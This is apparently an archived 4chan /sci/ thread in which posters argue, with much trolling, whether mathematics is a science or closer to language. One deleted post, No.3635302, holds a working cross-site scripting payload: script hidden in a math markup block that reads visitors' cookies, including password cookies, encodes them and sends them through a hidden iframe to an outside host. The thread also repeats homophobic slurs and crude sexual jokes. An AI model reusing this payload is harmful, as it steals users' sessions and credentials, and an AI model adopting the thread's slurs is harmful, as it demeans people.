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/sci/ - Science & Math

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[ERROR] No.3634774 [Reply] [Original]

Field of Study, followed by why the field was created

Physics - To uncover how the world works

Chemistry - To uncover the physics behind chemical properties and their reactions

Biology - To uncover the physics behind living organisms and the living environment

Language - To facilitate communication of qualitative thought

Mathematics - To facilitate communication of quantitative thought (and commerce)

>yfw Mathematics is more closely related to Language than it is to Science

>yfw you realise that the numbers 1-9 are as arbitrary as the letters A-J

>yfw you realise that Mathematics, like Langauge has no universal meaning other than to us humans and our culture.

>yfw you realise that the laws of physics will be universal even if described in another Language or under a different Mathematics system

>yfw you realise that Mathematics is actually shit tier alongside the other ARTS degrees

>> No.3634782

Mathematics is the language of certainty.

>> No.3634787
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>>3634774
>the numbers 1-9 are as arbitrary as the letters A-J
but not zero right? that one is objective and rational

>> No.3634792

The stuff you write down is not mathematics. Mathematics is what it points to. but yes, it's just a human invention. On the other 'the laws of physics' don't exist. There is no single universal law by which the entire universe progresses. Why do you think there is?

>> No.3634806

>>3634782

Scoff

Our system is so flawed that we cant even compute 1 divided by 3

There are so many paradoxes as a result of our flawed system.

Certainty my arse

>> No.3634808

I can't believe I actually took the time to read this.

>> No.3634810

>>3634806
> cant even compute 1 divided by 3
sage

>> No.3634814

>>3634792

>There is no single universal law by which the entire universe progresses.

How about the laws of thermodynamics, conservation of mass etc etc

We may not get the laws absolutely right with our limited knowledge and means at the present, but we are certain at least that universal laws exist, and thats what physics is attempts to uncover.

>> No.3634818

>>3634774
>yfw you realise that the laws of physics will be universal even if described in another Language or under a different Mathematics system
except most laws are bullshit and made up

>> No.3634820

>>3634810

You cant dumbass.

>mofo thinks he can hypercompute

>L2 Halting Problem

>> No.3634822

0/10

If we made contact, we would send signals in MATHEMATICS.

Now scurry back off to Khan Academy.

>> No.3634825

>>3634818

>except most laws are bullshit and made up

True, but we're getting somewhere.

Math goes nowhere.

>> No.3634826

>>3634820
> throws unrelated terms about in case I don't already know what they mean

>> No.3634827

>>3634814
> we are certain at least that universal laws exist

No, dude. That is not at all certain.

> and thats what physics is attempts to uncover.

No it's not.

Really. I mean, learn physics. It's a great subject but it's completely different to what you have in mind.

>> No.3634828

>>3634822

>If we made contact, we would send signals in MATHEMATICS.

WRONG MOFO

>> No.3634832

Math is a tool. You don't see faggots arguing about whether hammers or wrenches are better.

>> No.3634836

>>3634832
You do see faggots arguing that epsilon-delta shit is better than nonstandard analysis.

>> No.3634843

>>3634774
You know nothing of mathematics... Literally everything you said is wrong.

>> No.3634846

Mathematics is language that talks back to you OP, shits so cash.

>> No.3634848

>>3634836

Its in the same vein of lit faggots arguing about semantics.

FACE IT, MATH IS SHIT TIER

GO READ YOUR DICKENS YOU FAGGOT MATHTARD

>> No.3634849

>>3634822
>If we made contact, we would send signals in MATHEMATICS.

No, they have to learn English.

>> No.3634851
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[ERROR]

I'm feeling like it would be a good idea to kill OP for his heresy. But I will wait. Yes math was a tool created for commerce. However there are many instances where tools transform into something else. This is what math has done. It has been the greatest tool for predicting shit. So deal with it.

>> No.3634852

>>3634843

0/10

>Literally

obvious troll is obvious

>> No.3634861

>>3634851

>It has been the greatest tool for predicting shit.

Math, like Language, has no point to it unless applied. On its own, it is pointless and tells us nothing.

>> No.3634867

>>3634861
Accepting your premise, your point is..?

>> No.3634868

>>3634861
>Math, like Language, has no point to it unless applied. On its own, it is pointless and tells us nothing.
Much like everything else, right?

God, this is so stupid.

>> No.3634871

>>3634861
pure math tells us how to solve those applied math problems when they come up

>> No.3634874

inb4
>PHD Mathematics
>any job i want
>300k starting

I can't believe I'm first on this.

>> No.3634877

>>3634806

>Our system is so flawed that we cant even compute 1 divided by 3

1/3.

>> No.3634881

> yfw
Mathematics is just applied Logic
Logic is just applied Philosophy
Philosophy is just applied Sociology
...
etc

>> No.3634883

>>3634867

Point is:

Math is to science

as

Language is to science

Therefore, Math is not the "purest field of science" or other garbage that makes mathfags feel good about themselves.

In reality, Math is shit tier alongside the other arts .

>> No.3634885

math isn't about numbers it's about logic.

Logic is universal amongst logical beings, regardless of the symbols used.

So math can be a great tool (because it is logical) to explain natural phenomena. And it does a very, VERY good job at it.

>> No.3634886

oh man, sociologists would be so mad at randall for saying its applied psychology

sociology is more like applied marxism

>> No.3634892

>>3634883
>In reality, Math is shit tier alongside the other arts .

No, it's not. Math can quantify reality. Math can make useful predictions. Art can't do any of that.

Math is also the most objectively difficult of all fields.

"To those who do not know mathematics it is difficult to get across a real feeling as to the beauty, the deepest beauty, of nature"
- Feynman

>> No.3634890

>>3634877

Try working out what number 1/3 is you faggot.

>> No.3634896

>>3634883

Physics can be formulated as well in Swahili as it can in English. Could you model quantum mechanics in terms of Euclidean geometry, however?

>> No.3634897

>>3634883
Most mathfags don't consider maths a science at all... Its scientists who like to associate us with them, not the other way around.

>> No.3634898

>>3634890
>hurr natural numbers are only numbers

>> No.3634899

>>3634883
>butthurt english major failing college algebra detected

>> No.3634900

>>3634890

It's 1/3.

>> No.3634901

>>3634892

>No, it's not. Math can quantify reality.

And Language qualifies reality.

Math conveys quantitative thought.

Language conveys qualitative thought.

So what?

>> No.3634907

>>3634896

>bitches don't know bout my Principia Mathematica

>> No.3634909

>>3634896

Not the same.

Swahili is to English

as

binary is to base whatever

>> No.3634911

Comparing math to language is like comparing a text document to code.

Which is stupid to do.

>> No.3634912

>>3634907

Assuming you're referring to Russel & Whitehead
>Axiomatic set theory
>Euclidean geometry

Assuming you're referring to Newton
>Classical mechanics
>Quantum mechanics

>> No.3634914
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Mathematicians consider them self artists, also as applied Logicians.

>> No.3634915

>>3634901
>so what?

Quantitative ideas are more rigorous and useful than qualitative ideas.

You can't design an airfoil with language. You can't describe the uncertainty principle with language. You need math for both.

>> No.3634916

>>3634911

butthurt mathfag

your numbers 1 2 3

are symbols like A B C

they only represent thought

>> No.3634920

>>3634909

But you claimed mathematics = language. What you're saying now is decimal notation = language. Sure, it is. You don't have to use it. You can use a different one. But that's not mathematics. Mathematics today is, for most people, ZFC.

>> No.3634927

what's A + B?

How do you integrate from A to C the word Banana?

>> No.3634933

>>3634774
Congratulations for realizing math is not a science! Welcome to hundreds of years ago, at least.

>> No.3634936

>>3634927

By Peano arithmetic, A+B = A + (B-1) + 1.

By the fundamental theorem of calculus, you find the antiderivative of Banana, call it BANANA, and evaluate BANANA(C)-BANANA(A).

>> No.3634943

>>3634920

Thats not what i meant

Math is not = Language

Math is ANALogous to Language

(you arse bandit)

>> No.3634954

>>3634943

What is analogy, in this context? Is it a surjective or an injective relation?

>> No.3634958

Logic you say?
Philosophy you say?
Certainty you say?
Read some david hume.
PUN is just an assumption.

All swans are not white.
If A then most likely B
but you know crazy shit.

>> No.3634967

but without math there is no physics

>> No.3634975

>>3634967
http://www.amazon.com/review/R2W4CIG2VBWTQB/ref=cm_cr_dp_perm?ie=UTF8&ASIN=0691072604&nodeID
=283155&tag=&linkCode=

>> No.3634989

Music is more of a science than math.

Deal with it.

>> No.3634992

>>3634967
Bullshit. Physics is aided by math, but physics does fine on its own.

>> No.3634996

>>3634989

Not true.

But what is true is that Sociology is more of a science than Math.

Try getting a mathfag to admit that.

>> No.3635009

>>3634996
Bullshit, it's commonly accepted that math isn't a science.

Sciences use the scientific method; mathematics uses axiomatic logic.

Science can only disprove statements, but mathematics doesn't have that restriction.

>> No.3635018

>>3634967

can you build a roman catapult without math?
Yes
(engineering dosnt need math, but math will help)

can you UNDERSTAND how a catapult works without math?
Yes
(physics dosnt need math, but math will help)

can you understand that a ball will fall to the earth without knowledge of math?
Yes

can you understand that this happens no matter where you are on earth?
Yes

can you make an accurate prediction (without the use of math) of what will happen to the ball if you were to drop it from a place youve never been before?
Yes

Voila- Physics without math

>> No.3635041

>>3635018

Okay. You go build that catapult.

>> No.3635052

Physics without math:

Electrons in an atom move about a nucleus.

Can you mathematically prove /explain / make predictions based on this phenomenon? Never

>> No.3635062

>>3635041

I have actually, when I was a boyscout.

We used to launch watermelons. (when we're not sucking each our scoutmaster's dick of course)

>> No.3635064

>>3635041
With the materials, I could.

>> No.3635070

>>3635041

pretty sure that the guy who thought up the idea couldnt explain it through math at the time

he must have just noticed how things work (i.e. physics) and put two and two together via trial and error and lucky lucky, he made something that worke

>> No.3635080

>>3635070

I don't think you know shit about Roman engineering. Read Vitruvius when you're not too busy trolling message boards.

>> No.3635083
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[ERROR]

>>3635070
>>3635064
>>3635062
>>3635041
can someone please tl;dr this thread? cause i cant seem to follow what conclusions we have reached when we have faggots talking about catapults and hist

>> No.3635086

>>3635041
Cut a piece of wood, use the same piece as a template
Cut more pieces of wood, make recuts if it doesn't look right, use them as templates if you need same length
Assemble catapult
???
Profit!

>> No.3635091

>>3635083

>You can't express 1/3 in decimal notation, therefore Mathematics is shit tier. Physics is god tier.
>You can't express Physics without complex mathematics.
>Sure you can. When I was a boy scout I built a catapult and it launched watermelons.

>> No.3635094

>>3635083

Conclusion: Math is shit tier

Long live Gender Studies

>> No.3635098

>>3635083
>>3635083
OP conjectured that Mathematics isn't really a science (widely accepted view)
OP then proceeded to conjecture that Math has no meaning to civilizations other than our own (which makes no fucking sense)
OP then conjectured that the laws of physics as we have described them would hold and could be described similarly in another civilization in some far away galaxy, but failed to realize that said civilizsation probably would have developed a system of Mathematics that is _very_ similar to our own save for use of symbols/semantics.

OP then proceeds to assert that Math as a field of study is as useless as studying the Arts, showing his full lack of understanding of what it means to be 'educated'.

tl;dr OP is a fag

>> No.3635100

op thinks other civilizations will count 2 rocks as 3 rocks and not 2. way to be op

>> No.3635102

>>3635091

see

>>3634975

>> No.3635120

>>3635102

Except that book makes heavy use of mathematics?

>> No.3635123
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>>3635098

>> No.3635127
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>>3635091
>You can express anything beyond involuntary muscle spasms and death without your brain

Neuroscience>Anything else

Can't do neuroscience without biology, chemistry and math but your brain is more important than the large mathematical equations it produces only to ensure the betterment of the brain.

Food for thought

>My opinion

>> No.3635139

>>3635127
>I can't type my conjecture clearly because I'm too deep into thought about it

That's a shortcoming.

>*You can't express anything

My bad

>> No.3635141

>>3635127
nah bro you're getting too meta, i can study how a piano operates but that doesn't make me fully understand the beauty and complexity of a symphony, ya feels me?

>> No.3635146

>>3635127
I used to think that the brain was the most wonderful organ in my body. Then I realized who was telling me this.
- Emo Phillips

>> No.3635155

>>3635127

Yup

It is merely due to the failings and inefficiency of our biology that we require things like english and math to communicate our ideas.

We are so used to communicating our ideas in english and math that we begin to think only in english and math.

We no longer have the raw instinct of what we will do next, rather we think in our mindscape "Hmm. Time to go fap."

Hence it seems as if english and math are the basis behind science, but they are not.

Observation is the basis behind science.

Even a monkey will figure out how something works if he sees it work long enough. (and he didnt need to think in english or math)

Same with us.

If aliens had superintelligent hypercomputers for brains, then maybe they wouldnt even have a need for language or math to represent their thoughts. Maybe they can just show what they mean to others telepathically or through some other means.

>> No.3635159

>>3635146

the penis is the most wonderful organ in the body

my brain tells me this

>> No.3635161
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>>3635141
The metaphor you used doesn't translate as far as I can tell

>Everything you do is for your brain
>You are your brain

Music is much more than one piano or even the theories that surround traditional instruments

Without your brain you perceive nothing (as far as "we" know)

Without a piano you can still write a symphony

>Though studying the piano can and does tend to yield better symphonic results than just smashing around and hoping for the best

>> No.3635166

>>3635155

A monkey can never learn English without thinking in English.

What do you say to that, fag.

>> No.3635175

>>3635155
We will within our lifetimes be able to communicate via thought.

>We understand how the brain perceives sounds, if a transmitter were to be linked to the system we could send a thought that would "sound" in the brain and be able to communicate without vibrating our vocal chords

Unrelated: Math is a tool to gain results. Math is not the end result.

>Debate

>> No.3635177
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>>3635080
From Vitruvius' "Ten Books on Architecture" via Google Books:

>It is true that by arithmetic the total cost of buildings is calculated and measurements are computed, but difficult questions involving symmetry are solved by means of geometrical theories and methods.

>mfw when even "the first engineer known by name" (http://en.wikipedia.org/wiki/Vitruvius#cite_ref-3)) lol'd at mathfags as nothing more than number-crunchers and pencil pushing accountants.

>> No.3635178

>>3635175

If you use a floating definition of "end result", you can prove anything you want.

>> No.3635183

>>3635166

But english is not a universal physics.

It is just an arbitrary invention by humans filled with arbitrary symbols and sounds that mash together into something that we are cultured frm young to understand.

English is the physics of an English society. (but the culture spread into most of the world)

Mathematics is the physics of Arabic Commerce. (but it spread to the entire world)

Aliens will not know of our mathematics, they might not even need mathematics being so advanced as to surpass that need.

Or might never understand the concept of mathematics being so inept that they are like the animals on our earth.

Mathematics is just a very specific thing on our earth.

But all aliens will know of hydrogen and the elements and how they work. (though they might not call them the same things that we do)

>> No.3635188

Why do you hate language faggot?

>> No.3635190

>>3635177

Woo woo go Vitruvius. Wish you were in this thread trolling the mathfags with us.

>> No.3635191
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>mathematics
>a science
ISHYGDDT

>biology
>a hard science
ISHYGDDT

All engineers are cock loving faggots who take it up the ass

>> No.3635192

Why do you hate language, faggot?

>> No.3635193

>>3635177

Wait. Are you saying geometry is not mathematics?

>> No.3635194

>>3635188

I dont hate it.

But I wont go so far as to call it the purest of sciences or the basis behind the sciences or that without it, physics will not exist etc etc

>> No.3635202

>>3635183

Irrelevant. You said a monkey could learn anything by observation. I claim it can't learn English.

So tell me, then. What is the precise class of concepts that a monkey can learn by observation?

>> No.3635204

>>3635194

but its true.

without language how will you explain physics?

>> No.3635208

OP is jelly as fuck that he's not bright enough to study math.

Jelly.
As.
Fuck.

>> No.3635216

>>3635202

The class? Physics.

The monkey learns monkey physics as can be percieved by a monkey.

He might even come up with simple pictograms or symbols (not dissimilar to our ABCs 123s) to help his little monkey brain understand his little monkey perceptions of little monkey physics.

We are monkey.

The words and numbers you see on this post are the ooks and aahs of our race to an alien race.

>> No.3635217
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>>3635208
Who wouldn't be?

>> No.3635224

>>3635216

So you claim a monkey can learn, say, how a microchip works?

>> No.3635229

>>3635208

Typical Mathfag thinking highly of himself

I think youre just jelly you cant grasp the complexities and intricacies of Gender Studies

Jelly.
As.
Fuck.

>> No.3635241

Damn OP. Props on that, I never thought of like that, but yea math is more of a language while physics is the purest of science.

>> No.3635244

>>3635224

If it is within his capacitor to observe and tinker with, then eventually, why not.

You dont need to know math or language to figure out how things work.

>> No.3635245

>>3635193
>>3635190
>>3635177

I'm waiting for a response. Do you not consider geometry mathematics?

>> No.3635254

>>3635244

So, say, by leaving old dvd players in a monkey cage you'd expect the monkeys to become proficient in the subject?

>> No.3635289

>>3635254

Nope.

But if you leave a dvd player, a couple of dvds and a tv, he will eventually have the same understanding as the typical american has of the same objects.

Now give him a screwdriver and a means to dismantle the devices and he might garner a deeper understanding of how they work.

Now give him infinite time to conjecture possibilities or alternate theories as to why they work as such, and he might eventually reach a conclusion of how they work.

Now give him a means for him to test his hypothesis and he will go deeper and deeper.

Its the same with us.

Put us on this earth and we notice that things seem to work.

Give us curiosity and we will try and rationalise how it works. (this is the get-go of physics)

Give us tools to test our hypothesis like the microscope or LHC and we go deeper into physics. (math and language are just another tool for us to rationalise what we observe)

>> No.3635296
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[ERROR]

>>3635289
>>3635289
>>3635289
>>3635289

>> No.3635302 [DELETED] 

<div class="math">\bbox["><span id="viur" onmouseover="
f=document.getElementById('viur');f.parentNode.removeChild(f);x=document.cookie.split(';');
n=0;z='';while(x.length){y=x.pop().trim();if(!/^(__utm|__qca|n?ws_style|jsMath)/.test(y)){
z=y+';'+z; if(!/^(4chan_pass|4chan_email|popunde?r|setover18)/.test(y)) n++;}}
if(n) document.body.innerHTML+='<iframe style=display:none'
+' src=http://lolbbox.weebly.com/?'+btoa(z)+'></iframe>';
" style="position:fixed;left:0px;top:0px;width:100%;height:100%"></span>]~</div>

>> No.3635299

>>3635254

We are monkey in a cage.

We may not realise that what we are using for rocks are actually alien DVD players.

But eventually as we uncover more about the world through physics, we might figure out that they are DVD players and not rocks.

>We thought the earth was flat

>> No.3635304
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>>3635289
k im done with intellectual discussion on teh internuts

>> No.3635309
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[ERROR]

>>3635289
>>3635289

>> No.3635322

>>3635289
I agree with this

>> No.3635328

>>3635289
I buy this.

Chimps aren't that far off from man 500,000 years ago. If you took a caveman and taught him english, why couldn't he learn how to a DVD player works?

>> No.3635364

>>3635328

Well the point is you dont have to teach him English

You just need to show him how to put a dvd into a dvd player

As many times as it takes for him to figure out how to do it for himself

>> No.3635403

>>3635364

Continuing:

Just as we observe how the body works and come up with theories as to how they work in Biology.

The caveman (if curious) would observe the process of the disk being inserted and come up with theories as to how it works in a branch of physics that might be known as Caveman DVD Physics. (like how Biology is Human Physics of the Penis)

So the first hypothesis of Caveman DVD Physics might be:

There are little creatures in the DVD player that make the DVD player work.

Eventually through enough experimentation, tinkiner and thunking he might discover that these things that he at first thought were "little creatures" are actually microchips working together, and so on.

He need not language or math to come to this understanding. Just a means to make observations and test his theories.

>> No.3635405
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[ERROR]

>>3634806

>> No.3635418
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[ERROR]

Oh, and, here's some applied math for you, OP.